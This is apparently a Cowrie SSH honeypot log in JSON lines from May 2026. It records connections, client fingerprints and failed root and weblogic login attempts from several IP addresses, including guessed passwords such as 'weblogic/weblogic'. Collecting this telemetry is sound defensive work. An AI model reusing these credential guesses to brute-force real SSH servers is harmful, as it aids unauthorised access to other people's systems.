{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:09.855274Z","src_ip":"103.122.221.179","session":"5b861d536200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:10.663560Z","src_ip":"103.122.221.179","session":"5b861d536200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:11.936244Z","src_ip":"103.122.221.179","session":"5b861d536200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.197.44","src_port":33864,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4ae649213f9","protocol":"ssh","message":"New connection: 175.107.197.44:33864 (10.17.0.5:22) [session: c4ae649213f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:12.508923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:12.513337Z","src_ip":"175.107.197.44","session":"c4ae649213f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:12.740249Z","src_ip":"175.107.197.44","session":"c4ae649213f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:40:e9:c9:14:bf:87:d3:8f:17:81:60:ab:3e:9a:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRWDkSr5mGUturbIrvneXuhKK/SZqGwXGPlXn/piuIht+QNL04p9kXFOCk0zHyGYJJTw1JHx2TmBmj/koCdPyHzZ4Fp4CUHH7lJmUppwWyg909AIWT3Fvo4vDqv6wStKiqu8NC6jUnclzp+ghEkSDehN2FvyG/CNUeUND9MlNR5h/DBzovtbUHlqKiG/mI8dwj+qfO66vazxkVta9GKsoEHGFlfdBwK+GYUtdF/ijbWJty6k1wH1/965Qjmdw/GXTY3aPLflhGtElUFKPVqxJb8GyKilVkBA/5uT0bwLVYHkZVRp61GcAh/ekXVybeziR2LDKixFBbLCKThTz+IUsCBmTyi7nUeeZapDNusqNk+AKVEkyeCi/oqsVAS/fEj3W+BrdRlmUIxpB8dXBSfppAVeKnOYDAjxB00Ujvhe8L6Gh2NlExQYbnFE1bClOQFBr4BrwLMJDS/dBKEUuoBO/IikL8HaoqkD/RxhamkzPr4sLe21buiAI8VaaSWfnWKce+bakfjmq5nJzelLNjlDueM70hPSTaH8KBseY+AWJ9aKPceDM3VbVFw+OzEYXgUMuXtzvmWai9gnnD9JMVMrjBOs7v5KJ/JRZZlPYM+hsywbTNM+UoV5qBmq7k/iakRWn6BxDERJFv7p09OnVcbENDIqefGmqpKWM36AbEOXRDGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:40:e9:c9:14:bf:87:d3:8f:17:81:60:ab:3e:9a:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:13.827328Z","src_ip":"175.107.197.44","session":"c4ae649213f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:40:e9:c9:14:bf:87:d3:8f:17:81:60:ab:3e:9a:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRWDkSr5mGUturbIrvneXuhKK/SZqGwXGPlXn/piuIht+QNL04p9kXFOCk0zHyGYJJTw1JHx2TmBmj/koCdPyHzZ4Fp4CUHH7lJmUppwWyg909AIWT3Fvo4vDqv6wStKiqu8NC6jUnclzp+ghEkSDehN2FvyG/CNUeUND9MlNR5h/DBzovtbUHlqKiG/mI8dwj+qfO66vazxkVta9GKsoEHGFlfdBwK+GYUtdF/ijbWJty6k1wH1/965Qjmdw/GXTY3aPLflhGtElUFKPVqxJb8GyKilVkBA/5uT0bwLVYHkZVRp61GcAh/ekXVybeziR2LDKixFBbLCKThTz+IUsCBmTyi7nUeeZapDNusqNk+AKVEkyeCi/oqsVAS/fEj3W+BrdRlmUIxpB8dXBSfppAVeKnOYDAjxB00Ujvhe8L6Gh2NlExQYbnFE1bClOQFBr4BrwLMJDS/dBKEUuoBO/IikL8HaoqkD/RxhamkzPr4sLe21buiAI8VaaSWfnWKce+bakfjmq5nJzelLNjlDueM70hPSTaH8KBseY+AWJ9aKPceDM3VbVFw+OzEYXgUMuXtzvmWai9gnnD9JMVMrjBOs7v5KJ/JRZZlPYM+hsywbTNM+UoV5qBmq7k/iakRWn6BxDERJFv7p09OnVcbENDIqefGmqpKWM36AbEOXRDGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:13.831368Z","src_ip":"175.107.197.44","session":"c4ae649213f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:46:d8:6d:83:3f:3a:11:83:b7:82:f2:a4:37:72:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpAOX6qSzm5ATkCfHzNN2kkQoNTfz3c0dFtZy+7JawJBsZ7NLIprk8EPcXrCidLZQbSruKLGCLmliTbR907PQB2zdk6z5iqozaEiHkD1Wg+yXRTdBePUiRyx7+tXKoj/g7AUZcVBC1TU6ZgXSEx9gmxLPyUgGHVOKVCsmdnNBak058uyLAZmpOIrif9ohZqdcwVw47Sz9qDP2tDOjHnDZ2A9k/jg+gDzswRNZmYxTMelKkadiNhHn22d/uFEcOKUoHHa4KmJilMKXjKReqmJU9SttI9GEnvDfn0apqpY3qJUrHqU0huAVwez2q87e88ISFa6HpkdInRzYNkrwgRYNt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:46:d8:6d:83:3f:3a:11:83:b7:82:f2:a4:37:72:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:14.053248Z","src_ip":"175.107.197.44","session":"c4ae649213f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:46:d8:6d:83:3f:3a:11:83:b7:82:f2:a4:37:72:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpAOX6qSzm5ATkCfHzNN2kkQoNTfz3c0dFtZy+7JawJBsZ7NLIprk8EPcXrCidLZQbSruKLGCLmliTbR907PQB2zdk6z5iqozaEiHkD1Wg+yXRTdBePUiRyx7+tXKoj/g7AUZcVBC1TU6ZgXSEx9gmxLPyUgGHVOKVCsmdnNBak058uyLAZmpOIrif9ohZqdcwVw47Sz9qDP2tDOjHnDZ2A9k/jg+gDzswRNZmYxTMelKkadiNhHn22d/uFEcOKUoHHa4KmJilMKXjKReqmJU9SttI9GEnvDfn0apqpY3qJUrHqU0huAVwez2q87e88ISFa6HpkdInRzYNkrwgRYNt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:14.057172Z","src_ip":"175.107.197.44","session":"c4ae649213f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:36:59:44:9a:4a:c3:b2:43:6a:08:22:ad:11:ca:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcBk+STbZiq87IQTDWyjc7x8eWOMdsXX45Q506cd+IypyALAvmm3M2H3R+iVxv/eEK5tSHjtR7DXDtvfr3APRKK+rqhgq+yWiAxzDDoT3GOm90vjNu3TjipiNGRP5wAMKzhI+kYCJd0fF00nwQUdRUcbZJw8wcmu3v8UcHtZNkPjlkWK8kFFAHHM8W9JYhw3GjPCs7t9eTeudTkuwsGr1YSVZsX0aXXBy9RwD0g3aXXnWrqYSBtAgaQW/AdVqKWwSlhiUvdz7xm//41hhS2fLUkgzJHBQz8JcJgyXalfeGfWAdVDKz5Qj3g6mP0TLyO4bEzCsTs30fLNgTVPSFIykydCEWHgp6eTQ1IM53GGd7ClUjcQV8LHbquIgmMzPj+YyS6I5cUTCemvMYt9kQ0DzHC11DJUlOvLcp9XLdrkD9xpEy2hF+wOlwqyFusdFFDHgPvDXCP9IXB9jOihEqgGLPU8GlCqo9AXMtPjhHVY52ZGcEk8qf9+xIoctpzvXYbl/lQXnpKk92ZEIfi/JVmV8jydhYUqUjnV1GgTqthM0khOHOpU9zd9ULPxtBIFN99oORY+VjQ07U1qh8SeUYN8MnskJM5dc1wsoxaYX9HLVn5+j47ICYj0wq4crr9ar4fAJDUvE2F5vodMuZ5OPlbwe9SvXl6azyRJlRlwBIOTl70w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:36:59:44:9a:4a:c3:b2:43:6a:08:22:ad:11:ca:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:14.280653Z","src_ip":"175.107.197.44","session":"c4ae649213f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:36:59:44:9a:4a:c3:b2:43:6a:08:22:ad:11:ca:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcBk+STbZiq87IQTDWyjc7x8eWOMdsXX45Q506cd+IypyALAvmm3M2H3R+iVxv/eEK5tSHjtR7DXDtvfr3APRKK+rqhgq+yWiAxzDDoT3GOm90vjNu3TjipiNGRP5wAMKzhI+kYCJd0fF00nwQUdRUcbZJw8wcmu3v8UcHtZNkPjlkWK8kFFAHHM8W9JYhw3GjPCs7t9eTeudTkuwsGr1YSVZsX0aXXBy9RwD0g3aXXnWrqYSBtAgaQW/AdVqKWwSlhiUvdz7xm//41hhS2fLUkgzJHBQz8JcJgyXalfeGfWAdVDKz5Qj3g6mP0TLyO4bEzCsTs30fLNgTVPSFIykydCEWHgp6eTQ1IM53GGd7ClUjcQV8LHbquIgmMzPj+YyS6I5cUTCemvMYt9kQ0DzHC11DJUlOvLcp9XLdrkD9xpEy2hF+wOlwqyFusdFFDHgPvDXCP9IXB9jOihEqgGLPU8GlCqo9AXMtPjhHVY52ZGcEk8qf9+xIoctpzvXYbl/lQXnpKk92ZEIfi/JVmV8jydhYUqUjnV1GgTqthM0khOHOpU9zd9ULPxtBIFN99oORY+VjQ07U1qh8SeUYN8MnskJM5dc1wsoxaYX9HLVn5+j47ICYj0wq4crr9ar4fAJDUvE2F5vodMuZ5OPlbwe9SvXl6azyRJlRlwBIOTl70w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:14.284960Z","src_ip":"175.107.197.44","session":"c4ae649213f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:91:a2:ec:01:56:81:af:b1:92:cb:1c:f0:3d:b2:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVJ3LbrC8IgRweVSwiYjztBPREOrT94j8v//TpZ5XeGCR89C+PoW/cgRtz4gj1PITyIo11WNJUsIoShXs4YmaH952WED/PXL0L4/EZgqJ0bHd/lA8dKi+JWgGozMmbuHpduJGXhmGlIZE1GmRFDUEkczaZa9oag1tdLhMgvrJSn49991Uuwk/FNUg9qXQGrqzZbCatcnC9ndkCgVGO92x/Yr7ZvGws+BAPDludA4+RfkAp+o+isWAokNRl+0++RU7JbUt2mLRQy6zHpi280bMu5h/wX/uPIOi3Do5H+2wh6K/e2QP9UOCAYfVoErZanoVLs3lwp4AvSw7XmHxv3RBxHZOOZ+E089msq+yrirl/bO63cG8fjZwRS7TRhYzfhCFRCKkzN3STx9JUUMS9hQpba+tmeM3yP5OV6tUMO0JNhCQz6RjnlUJCcOeugkdPJmM/BVOdpv1xgXM9YOd5QssVUBWLDargo0MKYvFebBbjAVk58XzsUb64OkZrA/6nwSG12a5cEk822Eqpw2PE/hQaigndYFTD/5Pk3HUvm5nlhnbBemMs+DUO3oROCcTzKDpK1VqpjeIHoZHwWDMlITi4Dpxf2vuGjnFq37/veEY+zrOLA6nGa8O8Sy6a1w5gzBS3RCKE6hIkeEeI4+QPqNEfP3BQmYAMix9F4n7Q1FwK9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:91:a2:ec:01:56:81:af:b1:92:cb:1c:f0:3d:b2:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:14.508187Z","src_ip":"175.107.197.44","session":"c4ae649213f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:91:a2:ec:01:56:81:af:b1:92:cb:1c:f0:3d:b2:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVJ3LbrC8IgRweVSwiYjztBPREOrT94j8v//TpZ5XeGCR89C+PoW/cgRtz4gj1PITyIo11WNJUsIoShXs4YmaH952WED/PXL0L4/EZgqJ0bHd/lA8dKi+JWgGozMmbuHpduJGXhmGlIZE1GmRFDUEkczaZa9oag1tdLhMgvrJSn49991Uuwk/FNUg9qXQGrqzZbCatcnC9ndkCgVGO92x/Yr7ZvGws+BAPDludA4+RfkAp+o+isWAokNRl+0++RU7JbUt2mLRQy6zHpi280bMu5h/wX/uPIOi3Do5H+2wh6K/e2QP9UOCAYfVoErZanoVLs3lwp4AvSw7XmHxv3RBxHZOOZ+E089msq+yrirl/bO63cG8fjZwRS7TRhYzfhCFRCKkzN3STx9JUUMS9hQpba+tmeM3yP5OV6tUMO0JNhCQz6RjnlUJCcOeugkdPJmM/BVOdpv1xgXM9YOd5QssVUBWLDargo0MKYvFebBbjAVk58XzsUb64OkZrA/6nwSG12a5cEk822Eqpw2PE/hQaigndYFTD/5Pk3HUvm5nlhnbBemMs+DUO3oROCcTzKDpK1VqpjeIHoZHwWDMlITi4Dpxf2vuGjnFq37/veEY+zrOLA6nGa8O8Sy6a1w5gzBS3RCKE6hIkeEeI4+QPqNEfP3BQmYAMix9F4n7Q1FwK9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:14.512355Z","src_ip":"175.107.197.44","session":"c4ae649213f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:47:51:be:6d:2a:26:c0:07:06:c0:4f:e0:fa:7f:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCoKgSIbAuYEqx/AGByA8WCyIWl/mkHaY5JleKefKYq0tL79rg497hFOCmAgmqXBKfrGopdlU8yye6FQG8VqzdujhIpMZjn5NM2cZ8HP7uWpOgPYMweHQLKiIBZ0o887zbzYpYu3w6CqL6oWuAiUqvlmpuSJhI0ZsFSEeYVcWbBcfpGsRlhIinqX8Q6lKv5ZP1XfZeE4JFXll7XSTa68jbIbij2VrKJYzfoAr0nQ6kmPutiB/XI07fHr8OzsoUP1gk7X3w8MgE7E3vXroIAw9OQfdESa5UbTSStPvORp+hDMnDy6OyEtdYNElx747I/389HGlBM2EmyrxaG4LANLCaqQ1MQn5uOKjUECeejZs5ScKaku0VKclwUiZ2uqDpaCk0BmphyLf7V3HZFwvQV+7DVNf4fyf2ftg0sIM0Vw7SQAv0WpSI+GfsOA3OyPw+n+18a23DY270wcuy7FO1I6oLz7XP+LUd9iV1ovhCgm8tz3BH0Q2jOwtIwnQxQdk7rpoErsiQcoZsJklAnAEl+u17SwzLJI4GUosIbzkHRqMaQOLVq/baximB2vEEfjZul+gw7pyk4aLV85h0h8r/wO56LxS8oFZ/P/pb1Dxf48PUEyBRpdG2ygLdZrRVzit9hdsJgBDozok+Wn16yShyYzSS8fu4qTA+uCC0lTg7Y8rYcQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:47:51:be:6d:2a:26:c0:07:06:c0:4f:e0:fa:7f:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:14.735352Z","src_ip":"175.107.197.44","session":"c4ae649213f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:47:51:be:6d:2a:26:c0:07:06:c0:4f:e0:fa:7f:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCoKgSIbAuYEqx/AGByA8WCyIWl/mkHaY5JleKefKYq0tL79rg497hFOCmAgmqXBKfrGopdlU8yye6FQG8VqzdujhIpMZjn5NM2cZ8HP7uWpOgPYMweHQLKiIBZ0o887zbzYpYu3w6CqL6oWuAiUqvlmpuSJhI0ZsFSEeYVcWbBcfpGsRlhIinqX8Q6lKv5ZP1XfZeE4JFXll7XSTa68jbIbij2VrKJYzfoAr0nQ6kmPutiB/XI07fHr8OzsoUP1gk7X3w8MgE7E3vXroIAw9OQfdESa5UbTSStPvORp+hDMnDy6OyEtdYNElx747I/389HGlBM2EmyrxaG4LANLCaqQ1MQn5uOKjUECeejZs5ScKaku0VKclwUiZ2uqDpaCk0BmphyLf7V3HZFwvQV+7DVNf4fyf2ftg0sIM0Vw7SQAv0WpSI+GfsOA3OyPw+n+18a23DY270wcuy7FO1I6oLz7XP+LUd9iV1ovhCgm8tz3BH0Q2jOwtIwnQxQdk7rpoErsiQcoZsJklAnAEl+u17SwzLJI4GUosIbzkHRqMaQOLVq/baximB2vEEfjZul+gw7pyk4aLV85h0h8r/wO56LxS8oFZ/P/pb1Dxf48PUEyBRpdG2ygLdZrRVzit9hdsJgBDozok+Wn16yShyYzSS8fu4qTA+uCC0lTg7Y8rYcQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:14.750003Z","src_ip":"175.107.197.44","session":"c4ae649213f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:14.974380Z","src_ip":"175.107.197.44","session":"c4ae649213f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":50874,"dst_ip":"159.203.135.109","dst_port":22,"session":"a69711276b6b","protocol":"ssh","message":"New connection: 43.156.17.27:50874 (159.203.135.109:22) [session: a69711276b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:22.022414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:22.027521Z","src_ip":"43.156.17.27","session":"a69711276b6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:22.259102Z","src_ip":"43.156.17.27","session":"a69711276b6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:23.214122Z","src_ip":"43.156.17.27","session":"a69711276b6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":39456,"dst_ip":"159.203.135.109","dst_port":22,"session":"65255a459dfb","protocol":"ssh","message":"New connection: 193.32.162.151:39456 (159.203.135.109:22) [session: 65255a459dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:23.345437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:23.350970Z","src_ip":"193.32.162.151","session":"65255a459dfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:23.452554Z","src_ip":"193.32.162.151","session":"65255a459dfb","protocol":"ssh"}
